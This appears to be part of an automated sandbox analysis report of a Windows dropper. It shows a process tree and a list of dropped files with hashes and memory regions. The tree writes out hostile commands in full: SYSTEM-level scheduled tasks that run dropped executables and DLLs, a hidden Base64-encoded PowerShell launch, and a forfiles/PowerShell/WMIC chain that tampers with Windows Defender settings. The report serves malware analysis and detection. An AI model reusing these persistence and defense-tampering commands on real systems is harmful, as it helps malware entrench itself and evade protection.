                                                                                                        schtasks /CREATE /TN "nsbPTSdSgPuDRRbhc" /SC once /ST 15:16:33 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\aYrQxsx.exe\" X4 /iBaEdidZn 525403 /S" /V1 /F
                                                                                                        2⤵
                                                                                                        • Drops file in Windows directory
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:4640
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /run /I /tn "nsbPTSdSgPuDRRbhc"
                                                                                                        2⤵
                                                                                                          PID:348
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2552 -s 700
                                                                                                          2⤵
                                                                                                          • Program crash
                                                                                                          PID:196
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                        1⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:656
                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                          2⤵
                                                                                                            PID:5108
                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                          1⤵
                                                                                                            PID:4212
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                            1⤵
                                                                                                              PID:3504
                                                                                                            • \??\c:\windows\system32\gpscript.exe
                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                              1⤵
                                                                                                                PID:392
                                                                                                              • C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\aYrQxsx.exe
                                                                                                                C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\aYrQxsx.exe X4 /iBaEdidZn 525403 /S
                                                                                                                1⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                • Drops Chrome extension
                                                                                                                • Drops file in System32 directory
                                                                                                                • Drops file in Program Files directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:2340
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /DELETE /F /TN "bmQWCxleEgxbTUrSZz"
                                                                                                                  2⤵
                                                                                                                    PID:704
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                    2⤵
                                                                                                                      PID:2600
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                        3⤵
                                                                                                                          PID:2444
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                            4⤵
                                                                                                                              PID:3924
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                5⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                • Drops file in System32 directory
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:4260
                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                  6⤵
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:2068
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\VcCVDDBRU\iGUszO.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "RShenKKeUbJzTjI" /V1 /F
                                                                                                                          2⤵
                                                                                                                          • Drops file in Windows directory
                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                          PID:4452
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /CREATE /TN "RShenKKeUbJzTjI2" /F /xml "C:\Program Files (x86)\VcCVDDBRU\bAGpxhk.xml" /RU "SYSTEM"
                                                                                                                          2⤵
                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                          PID:1772
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /END /TN "RShenKKeUbJzTjI"
                                                                                                                          2⤵
                                                                                                                            PID:4724
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /DELETE /F /TN "RShenKKeUbJzTjI"
                                                                                                                            2⤵
                                                                                                                              PID:1100
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "YyXYwmYoaLUdkV" /F /xml "C:\Program Files (x86)\ATiuMetuMWHU2\BthKCNc.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:1740
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "sCSWtvWCwRQeU2" /F /xml "C:\ProgramData\NonltQQlyMoZtVVB\pYtUzJl.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:1300
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "iHEexGxGyKiKPpGUc2" /F /xml "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\XCSGZsL.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:4404
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "bvITFfrvNmRFeACLPQX2" /F /xml "C:\Program Files (x86)\UyPATDbiwjgOC\YrUALCn.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:3196
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "ROHimGgVjIIdgMKwK" /SC once /ST 16:26:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ruCXiJvmKkuTmmIt\apFSOeMn\ZzEKqic.dll\",#1 /lQQdidQQS 525403" /V1 /F
                                                                                                                              2⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:2040
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /run /I /tn "ROHimGgVjIIdgMKwK"
                                                                                                                              2⤵
                                                                                                                                PID:4216
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "nsbPTSdSgPuDRRbhc"
                                                                                                                                2⤵
                                                                                                                                  PID:4040
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 2140
                                                                                                                                  2⤵
                                                                                                                                  • Program crash
                                                                                                                                  PID:2708
                                                                                                                              • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                c:\windows\system32\rundll32.EXE "C:\Windows\Temp\ruCXiJvmKkuTmmIt\apFSOeMn\ZzEKqic.dll",#1 /lQQdidQQS 525403
                                                                                                                                1⤵
                                                                                                                                  PID:4144
                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                    c:\windows\system32\rundll32.EXE "C:\Windows\Temp\ruCXiJvmKkuTmmIt\apFSOeMn\ZzEKqic.dll",#1 /lQQdidQQS 525403
                                                                                                                                    2⤵
                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Enumerates system info in registry
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:1752
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "ROHimGgVjIIdgMKwK"
                                                                                                                                      3⤵
                                                                                                                                        PID:4808

                                                                                                                                  Network

                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                  Replay Monitor

                                                                                                                                  Loading Replay Monitor...

                                                                                                                                  Downloads

                                                                                                                                  • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

                                                                                                                                    Filesize

                                                                                                                                    129B

                                                                                                                                    MD5

                                                                                                                                    a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                    SHA1

                                                                                                                                    2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                    SHA256

                                                                                                                                    e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                    SHA512

                                                                                                                                    d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                  • C:\Program Files (x86)\ATiuMetuMWHU2\BthKCNc.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    085deebe5fa2c52b9da13de54886bec0

                                                                                                                                    SHA1

                                                                                                                                    be69c529907ce1277ef91e36ddeccc9de79a31ba

                                                                                                                                    SHA256

                                                                                                                                    e3186ee059747a1912ba70335241e0cb19c8b9116dce065b5fa3ab5d1a95f041

                                                                                                                                    SHA512

                                                                                                                                    96a98a2f8ccb9594327ef2d76f2572faf2e51856a1a3bef577e15e2c86048069f33b58c470de5d67b115dd54bd0b91ff3d294dd61977dac503d1b524cc74b490

                                                                                                                                  • C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\XCSGZsL.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    81edd1f515372ea2e33cdc7acb46639e

                                                                                                                                    SHA1

                                                                                                                                    efad32eed316524c92ef7ac74893ffa2ac101888

                                                                                                                                    SHA256

                                                                                                                                    d23ba352622cc1f0c90886eaa15085597a6a8f1edd6d59f01d16af93bc78c134

                                                                                                                                    SHA512

                                                                                                                                    c3b1b71f0713b353e7d9ca2dded1613b2b51e78452b218b9bbe8dbda3c80b47518b43c048e4455093312944b7eab64fd94f8fd18024dd79860a9f9a195d8cab7

                                                                                                                                  • C:\Program Files (x86)\UyPATDbiwjgOC\YrUALCn.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    aabd7201a1f9c678a47711b3a5ed57a0

                                                                                                                                    SHA1

                                                                                                                                    79e17a4c787ed9fd08fe365085380c4970853cf5

                                                                                                                                    SHA256

                                                                                                                                    9b36ca0b44bd7e4b47e3c41e15a78bd8a5e8e51da1d0eb7d148d485728b6f593

                                                                                                                                    SHA512

                                                                                                                                    003616dc71c0b4ff5d73c8679d40bc433b5dec9ae8f993e74033d5f9bc900bd49eba7699814b86c58a9bdb5406388068a28cb0e76a703b8ae26249802855b2fa

                                                                                                                                  • C:\Program Files (x86)\VcCVDDBRU\bAGpxhk.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    d3ced373266044fb1b67747233a1a0e4

                                                                                                                                    SHA1

                                                                                                                                    bf749207ad6759734720a0ce17b93c5946b59007

                                                                                                                                    SHA256

                                                                                                                                    7386fa79158e0d585d4d3b347b6c080a97e1529c3f216d7b21021a6884fb7e22

                                                                                                                                    SHA512

                                                                                                                                    02f4f6825d7d7316b7b765e2e45d78b7e98bc3cb4b7b12680dbcb80231cdec113e6d0f739fa1ee73d092cebf51ac42cec2d3aeae74badabba31095ae24456e49

                                                                                                                                  • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

                                                                                                                                    Filesize

                                                                                                                                    2.5MB

                                                                                                                                    MD5

                                                                                                                                    978a23a44b6a51809d519971f3664d54

                                                                                                                                    SHA1

                                                                                                                                    4b90ceb392c0d0469d3069204983a1a9845179b1

                                                                                                                                    SHA256

                                                                                                                                    0c6cf29d8179da1d91918968d3d53e3f2a00cb2b45ca5e20a0c6915800cbd364

                                                                                                                                    SHA512

                                                                                                                                    f15a04fddec3c567d1ed22ddc64888aa3c6bf9c287b0af3b2ff6054521ba0c141609dfc9f92fac6592fa0cd9a8a4c09b01fcbeab7069c29b3811e1d42bb80def

                                                                                                                                  • C:\ProgramData\NonltQQlyMoZtVVB\pYtUzJl.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    cf95587b76e1da3f831487dcaf2250bb

                                                                                                                                    SHA1

                                                                                                                                    41d372ceff8610c4a6b349adeabd0d9f080eead3

                                                                                                                                    SHA256

                                                                                                                                    9e4dc46581335eed4bf1426d5e5b49cff3c8f1e99a3b7977a135098a256ac8a9

                                                                                                                                    SHA512

                                                                                                                                    a05fbba5d9da8dc735200886bd780e5a422e7b77c0f46a487a4d17c9ab21011a98ade65ce7b2b4664171a78247a709351730eee35c0f6f15f8cd35c6ee621fa1

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

                                                                                                                                    Filesize

                                                                                                                                    187B

                                                                                                                                    MD5

                                                                                                                                    2a1e12a4811892d95962998e184399d8

                                                                                                                                    SHA1

                                                                                                                                    55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                    SHA256

                                                                                                                                    32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                    SHA512

                                                                                                                                    bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

                                                                                                                                    Filesize

                                                                                                                                    136B

                                                                                                                                    MD5

                                                                                                                                    238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                    SHA1

                                                                                                                                    0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                    SHA256

                                                                                                                                    801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                    SHA512

                                                                                                                                    2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

                                                                                                                                    Filesize

                                                                                                                                    150B

                                                                                                                                    MD5

                                                                                                                                    0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                    SHA1

                                                                                                                                    6a51537cef82143d3d768759b21598542d683904

                                                                                                                                    SHA256

                                                                                                                                    0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                    SHA512

                                                                                                                                    5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                    Filesize

                                                                                                                                    10KB

                                                                                                                                    MD5

                                                                                                                                    d878e24ba846706ca894c8492801997f

                                                                                                                                    SHA1

                                                                                                                                    a4579f13f15d74dce738daeb9c0df52ff2d9ba71

                                                                                                                                    SHA256

                                                                                                                                    b99bf2d18e4b5abef5408c7adc09699bab28268da427ca074cbf5721dab90aff

                                                                                                                                    SHA512

                                                                                                                                    8f871a8c1ccd35fe9682cba37d76c77e32c4cbac66bfeff5c3ed51079efa6a8a3c843fe58b791934020de97a91fbe6fdbc07c4366771ce048e571b98c1a4c3b1

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                    Filesize

                                                                                                                                    30KB

                                                                                                                                    MD5

                                                                                                                                    f2ce36b2b3fbebc8a55b8d48fcd40eba

                                                                                                                                    SHA1

                                                                                                                                    52f6c9ec7fa807c919b81b6ab838487920a6dc02

                                                                                                                                    SHA256

                                                                                                                                    ecd96df722409e1a7941ccb842745d36e215f14ee5a68eb7fa8aabf738ede4cb

                                                                                                                                    SHA512

                                                                                                                                    5a6a52bf80274fbd3dea88fea4cf63ade778e1187f190a053093452e19b36fbaf929c9f02f98cd311614e261cd1d194a5c35666a7175cdcff9a49d2e41bc66eb

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    MD5

                                                                                                                                    b71e0a482eeca28378440dc9a6404050

                                                                                                                                    SHA1

                                                                                                                                    44b7d835d0ae396f4d7fc149b1d3cc979693ab8f

                                                                                                                                    SHA256

                                                                                                                                    c0b284bcb7a50ded73f36f1176093fabd309054755a03d585230a3631013e7af

                                                                                                                                    SHA512

                                                                                                                                    5a184906e27337f07357a34cca263b7ff6c885f3500fb240db8f22e27400c8a67376ec7082ae9572cc8436f64708a4a4f90fb339dcd5d9038f1dc498cfb68772

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS59E7.tmp\Install.exe

                                                                                                                                    Filesize

                                                                                                                                    6.4MB

                                                                                                                                    MD5

                                                                                                                                    b94384dd6eb727fb15aa4802080d08ab

                                                                                                                                    SHA1

                                                                                                                                    1350c986b8cbd6324ade78481b8739b7542077fd

                                                                                                                                    SHA256

                                                                                                                                    8f90b08df89ca8574d4247febc0e9a65e016f643fcb8d001e9e69352e9d6023c

                                                                                                                                    SHA512

                                                                                                                                    fedee0d62c9ae94fce4e19814d027beae0be25116eaa0d51c7e6210dcac25bedb1de66456d8bb50add7ec1a318eb075caf921e48d9525da27877c6634c24e2e5

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                    MD5

                                                                                                                                    84da5fc2f43e551848349f0d0d3faca4

                                                                                                                                    SHA1

                                                                                                                                    cf0078c71fb1ef9743451b6a20d9aa0306e697db

                                                                                                                                    SHA256

                                                                                                                                    1989cb898e0e397b9acc16c453c94cf3f1873573979d36873182b18b8da86938

                                                                                                                                    SHA512

                                                                                                                                    9a605654c70dc27ae52760b2ced4aa3eedda6e98919ef96d9615c754f07e12c1748f6f978ffc916cb693e7788b21dc101a2442e3251f9a598aa223d9ead238bd

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y4aqmsjd.1gf.ps1

                                                                                                                                    Filesize

                                                                                                                                    1B

                                                                                                                                    MD5

                                                                                                                                    c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                    SHA1

                                                                                                                                    356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                    SHA256

                                                                                                                                    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                    SHA512

                                                                                                                                    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js

                                                                                                                                    Filesize

                                                                                                                                    7KB

                                                                                                                                    MD5

                                                                                                                                    f55b8a7d83d0347da8e353b876936763

                                                                                                                                    SHA1

                                                                                                                                    b4561052e55661a141695022742f7abc7cdbac85

                                                                                                                                    SHA256

                                                                                                                                    fcd1992df5e0f7c9f2e9a0f3ada0196315ba5c6844b9a705d2bf9615aa73acff

                                                                                                                                    SHA512

                                                                                                                                    d2ad144cb25fc8bc77f04582ecbbe252f288f89db6913f1f7089a480f669e4a935df2135f10d392de24f8bdfffbf8195a9c237d8bd8d77adaca124a1597bb2e4

                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                    Filesize

                                                                                                                                    1KB

                                                                                                                                    MD5

                                                                                                                                    0f5cbdca905beb13bebdcf43fb0716bd

                                                                                                                                    SHA1

                                                                                                                                    9e136131389fde83297267faf6c651d420671b3f

                                                                                                                                    SHA256

                                                                                                                                    a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

                                                                                                                                    SHA512

                                                                                                                                    a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    MD5

                                                                                                                                    a2be32a7c8d9c7dbd8e6b99364bb991a

                                                                                                                                    SHA1

                                                                                                                                    9c874138218b0d37bad5d53942a8d6af071324f4

                                                                                                                                    SHA256

                                                                                                                                    cf2db1333b925dc1b116a6f9d3b19d4216caecdf093a52ed391526155d73aa69

                                                                                                                                    SHA512

                                                                                                                                    ca25f60b17dda7336620541580703793b5b643af192221e1fb2206afebda169c4500abb780a8daf85b3857915d631d1842bcf1364e9b639aeda16ea8bd691967

                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    MD5

                                                                                                                                    4288de3a976c7934154007f696e1f9d7

                                                                                                                                    SHA1

                                                                                                                                    dd42d966ecc7c56571cb076f685d147c9a0a42b2

                                                                                                                                    SHA256

                                                                                                                                    94eb1b3b85097e5799f0babdcbfc808580b499be6320499a204a1d342f24b0a6

                                                                                                                                    SHA512

                                                                                                                                    b2a97066cd524998013052df8c1062ceccb8a707641a546a4227f109d4e668be7aabc878d6db22f0c430ab1b5669c4510262cd2f2abab426551bf98bba98444d

                                                                                                                                  • C:\Windows\Temp\ruCXiJvmKkuTmmIt\apFSOeMn\ZzEKqic.dll

                                                                                                                                    Filesize

                                                                                                                                    6.4MB

                                                                                                                                    MD5

                                                                                                                                    d2aff308118773da5201fe22031e0a1a

                                                                                                                                    SHA1

                                                                                                                                    41e73df772d0803b968330cd41667c3853beca32

                                                                                                                                    SHA256

                                                                                                                                    2ac07503ca0f99cd53512eacaaf57aeb4372757d489df640c54af28d0ed5e8a1

                                                                                                                                    SHA512

                                                                                                                                    78a5b56996835e928410545ea6e12f0127fbdf638b6c8ae8ac95303eb7a0253d107a344e9492b36b86bc0ec62216676628661ba3c0c711804e6ee675a4b45b23

                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                    Filesize

                                                                                                                                    6KB

                                                                                                                                    MD5

                                                                                                                                    968286be198ff595f13097db81ab33be

                                                                                                                                    SHA1

                                                                                                                                    ca9002773f6baf6c7fd573531fbc7e86258c9efe

                                                                                                                                    SHA256

                                                                                                                                    eeda5df56623ebdce4399f804708962d1c643c0960571345ca800bf47fff6d58

                                                                                                                                    SHA512

                                                                                                                                    38bbb71b678fa210ce2faa469a4d88e1da754e80268c89e7f651d267a501818d76ebd7b53d4ea51fc2427bac4c365a2aa85cc57f19364af7ca4f0feb67f1705d

                                                                                                                                  • memory/656-93-0x000001A0F18B0000-0x000001A0F1926000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    472KB

                                                                                                                                  • memory/656-89-0x000001A0F1700000-0x000001A0F1722000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    136KB

                                                                                                                                  • memory/836-12-0x0000000000D90000-0x0000000001444000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/836-13-0x0000000010000000-0x0000000013BC2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    59.8MB

                                                                                                                                  • memory/836-17-0x0000000013BB7000-0x0000000013BB8000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                  • memory/836-43-0x0000000000D90000-0x0000000001444000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/1752-401-0x0000000003400000-0x0000000006FC2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    59.8MB

                                                                                                                                  • memory/2340-123-0x0000000000950000-0x0000000001004000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/2340-136-0x00000000024C0000-0x0000000002545000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    532KB

                                                                                                                                  • memory/2340-388-0x0000000003850000-0x0000000003934000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    912KB

                                                                                                                                  • memory/2340-378-0x00000000035F0000-0x0000000003675000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    532KB

                                                                                                                                  • memory/2340-195-0x0000000002E10000-0x0000000002E76000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    408KB

                                                                                                                                  • memory/2340-125-0x0000000010000000-0x0000000013BC2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    59.8MB

                                                                                                                                  • memory/2340-412-0x0000000000950000-0x0000000001004000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/2552-46-0x0000000010000000-0x0000000013BC2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    59.8MB

                                                                                                                                  • memory/2552-120-0x0000000000D90000-0x0000000001444000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/2552-45-0x0000000000D90000-0x0000000001444000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/3924-185-0x0000000003200000-0x00000000032AE000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    696KB

                                                                                                                                  • memory/4452-53-0x00000000068C0000-0x000000000690B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    300KB

                                                                                                                                  • memory/4452-52-0x00000000062D0000-0x0000000006620000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.3MB

                                                                                                                                  • memory/4864-23-0x00000000080E0000-0x0000000008146000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    408KB

                                                                                                                                  • memory/4864-20-0x0000000007140000-0x0000000007176000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    216KB

                                                                                                                                  • memory/4864-27-0x0000000008960000-0x00000000089AB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    300KB

                                                                                                                                  • memory/4864-28-0x00000000087F0000-0x0000000008866000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    472KB

                                                                                                                                  • memory/4864-21-0x0000000007940000-0x0000000007F68000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.2MB

                                                                                                                                  • memory/4864-22-0x00000000077F0000-0x0000000007812000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    136KB

                                                                                                                                  • memory/4864-26-0x0000000007920000-0x000000000793C000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    112KB

                                                                                                                                  • memory/4864-24-0x0000000008150000-0x00000000081B6000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    408KB

                                                                                                                                  • memory/4864-25-0x00000000081C0000-0x0000000008510000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.3MB